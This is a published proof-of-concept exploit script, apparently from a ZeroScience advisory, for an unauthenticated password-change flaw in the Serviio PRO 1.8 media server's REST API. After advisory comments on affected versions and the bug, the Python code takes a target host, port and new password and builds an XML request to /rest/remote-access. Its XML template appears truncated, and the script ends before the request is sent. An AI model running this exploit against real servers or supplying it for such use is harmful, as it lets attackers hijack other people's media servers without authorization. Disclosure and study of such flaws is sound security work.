Serviio PRO 1.8 DLNA Media Streaming Server – REST API Arbitrary Password Change

#!/usr/bin/env python

# Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Password Change

# Vendor: Petr Nejedly | Six Lines Ltd

# Product web page: http://www.serviio.org

# Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1

# Summary: Serviio is a free media server. It allows you to stream your media

# files (music, video or images) to renderer devices (e.g. a TV set, Bluray player,

# games console or mobile phone) on your connected home network.

# Desc: The version of Serviio installed on the remote Windows/Linux host is affected

# by an unauthenticated password modification vulnerability due to improper access

# control enforcement of the Configuration REST API. A remote attacker can exploit this,

# via a specially crafted request, to change the login password for the mediabrowser protected

# page.

# Tested on: Restlet-Framework/2.2

#Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8

#Mac OS X, UPnP/1.0 DLNADOC/1.50, Serviio/1.8

#Linux, UPnP/1.0 DLNADOC/1.50, Serviio/1.8

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# @zeroscience

# Advisory ID: ZSL-2017-5407

# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5407.php

# SSD Advisory: https://blogs.securiteam.com/index.php/archives/3094

# 12.12.2016

import sys

import xml.etree.ElementTree as ET

from urllib2 import Request, urlopen

if (len(sys.argv) <= 3):

print '[*] Usage: serviio_pwd.py <ipaddress> <port> <newpassword>'

print '[*] Example: serviio_pwd.py 10.211.55.3 23423 eagle20fox2'

exit(0)

host = sys.argv[1]

port = sys.argv[2] #default port for console is 23423, and for the mediabrowser is 23424.

lozi = sys.argv[3]

values = """

<preferredRemoteDeliveryQuality>ORIGINAL</preferredRemoteDeliveryQuality>

<externalAddress>myserviio.dyndns.com</externalAddress>

</remoteAccess>"""

put = values.format(lozi)

headers = {

'Content-Type': 'application/xml',

'Accept': 'application/xml'

}

request = Request('http://'+host+':'+port+'/rest/remote-access', data=put, headers=headers)